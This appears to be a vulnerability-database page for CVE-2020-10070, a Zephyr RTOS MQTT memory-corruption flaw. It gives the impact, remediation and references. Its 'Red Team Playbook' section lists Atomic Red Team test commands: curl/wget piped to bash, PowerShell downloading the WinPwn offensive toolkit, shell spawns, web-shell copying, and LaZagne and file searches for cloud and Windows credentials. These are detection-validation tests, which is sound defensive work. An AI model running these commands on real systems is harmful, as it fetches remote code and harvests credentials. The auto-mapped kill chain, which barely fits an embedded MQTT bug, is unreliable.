CVE-2020-10070
Overview
This vulnerability is a memory corruption flaw caused by improper bounds checking within the MQTT protocol implementation of the Zephyr RTOS. Specifically, the defect arises from inadequate validation of input data lengths during MQTT message processing, leading to buffer overflows. The affected component is the Zephyr Project's MQTT client code, which fails to correctly enforce size constraints on incoming MQTT packets, resulting in unsafe memory operations.
Vulnerability Description
In the Zephyr Project MQTT code, improper bounds checking can result in memory corruption and possibly remote code execution. NCC-ZEP-031 This issue affects: zephyrproject-rtos zephyr version 2.2.0 and later versions.
Impact
An unauthenticated remote attacker can exploit this vulnerability by sending specially crafted MQTT messages to a device running vulnerable Zephyr versions, resulting in memory corruption. This may enable arbitrary code execution with the privileges of the MQTT client process, potentially leading to full system compromise. The exploit requires network access but no user interaction or prior authentication, as indicated by the CVSS vector AV:N/AC:H/PR:N/UI:N. Business impacts include unauthorized control over embedded systems, data manipulation, or service disruption in IoT or embedded deployments using Zephyr MQTT.
Solution
Users should upgrade Zephyr Project RTOS to a version including the fix for NCC-ZEP-031, as detailed in the Zephyr Project security advisory ZEPSEC-85. The advisory and patch instructions are available at https://zephyrprojectsec.atlassian.net/browse/ZEPSEC-85 and the official Zephyr documentation on vulnerabilities. NCC Group's report (https://research.nccgroup.com/2020/05/26/research-report-zephyr-and-mcuboot-security-assessment) also references the issue and remediation. Applying the vendor-provided patches to versions 2.2.0 and later is required to mitigate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability within the MQTT code of the Zephyr Project stems from improper bounds checking, which can lead to memory corruption. This flaw occurs when the software fails to validate the size of incoming data against the allocated buffer size, allowing an attacker to write beyond the intended memory boundaries. Such a condition can corrupt adjacent memory, potentially leading to erratic behavior of the application or even enabling remote code execution. This vulnerability is particularly critical given that the affected versions of the Zephyr real-time operating system are widely used in IoT devices, which often operate in environments where security measures may be minimal.
Attack vectors for exploiting this vulnerability are varied and can be executed remotely, making it particularly dangerous. An attacker could send specially crafted MQTT messages to a vulnerable device, triggering the memory corruption. Given the nature of the MQTT protocol, which is commonly used for lightweight messaging in IoT applications, the attack could be initiated from anywhere on the network. This remote exploit capability means that an attacker does not need physical access to the device, significantly increasing the risk and potential impact of the vulnerability. Scenarios could include unauthorized access to sensitive data, manipulation of device functions, or even taking control of the device entirely, leading to broader network compromises.
The real-world impact of this vulnerability is substantial, especially considering the growing reliance on IoT devices across various sectors, including healthcare, manufacturing, and smart cities. A successful exploit could lead to significant business risks, including operational disruptions, data breaches, and potential legal liabilities. For instance, in a healthcare setting, an attacker could manipulate medical devices, compromising patient safety and privacy. Additionally, the reputational damage to organizations affected by such incidents can have long-lasting effects, eroding customer trust and leading to financial losses.
To detect and mitigate the risks associated with this vulnerability, organizations should adopt a multi-layered security approach. Regularly updating the Zephyr operating system and applying patches is crucial, as newer versions may contain fixes for known vulnerabilities. Implementing network segmentation can also limit the exposure of IoT devices to potential attackers, reducing the attack surface. Furthermore, monitoring network traffic for unusual patterns, such as unexpected MQTT messages, can help in early detection of exploitation attempts. Employing intrusion detection systems (IDS) and conducting regular security audits will further strengthen the security posture against such vulnerabilities.
In conclusion, the improper bounds checking vulnerability in the MQTT code of the Zephyr Project presents a significant threat to the security of IoT devices. The potential for remote code execution, coupled with the widespread use of affected products, underscores the urgency for organizations to prioritize vulnerability management and adopt robust security measures. By understanding the technical details, recognizing the attack vectors, assessing the real-world impact, and implementing effective detection and mitigation strategies, organizations can better protect themselves against this and similar vulnerabilities in the ever-evolving landscape of cybersecurity threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Zephyrproject | Zephyr | All |
cpe:2.3:o:zephyrproject:zephyr:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-10070 |
| research.nccgroup.com |
GitHub CVE
x_refsource_MISC
|
https://research.nccgroup.com/2020/05/26/research-report-zephyr-and-mcuboot-security-assessment |
| zephyrprojectsec.atlassian.net |
GitHub CVE
x_refsource_MISC
|
https://zephyrprojectsec.atlassian.net/browse/ZEPSEC-85 |
| docs.zephyrproject.org |
GitHub CVE
x_refsource_MISC
|
https://docs.zephyrproject.org/latest/security/vulnerabilities.html#cve-2020-10070 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/zephyrproject-rtos/zephyr/pull/23821/commits/0b39cbf3c01d7feec9d0dd7cc7e0e374b6113542 |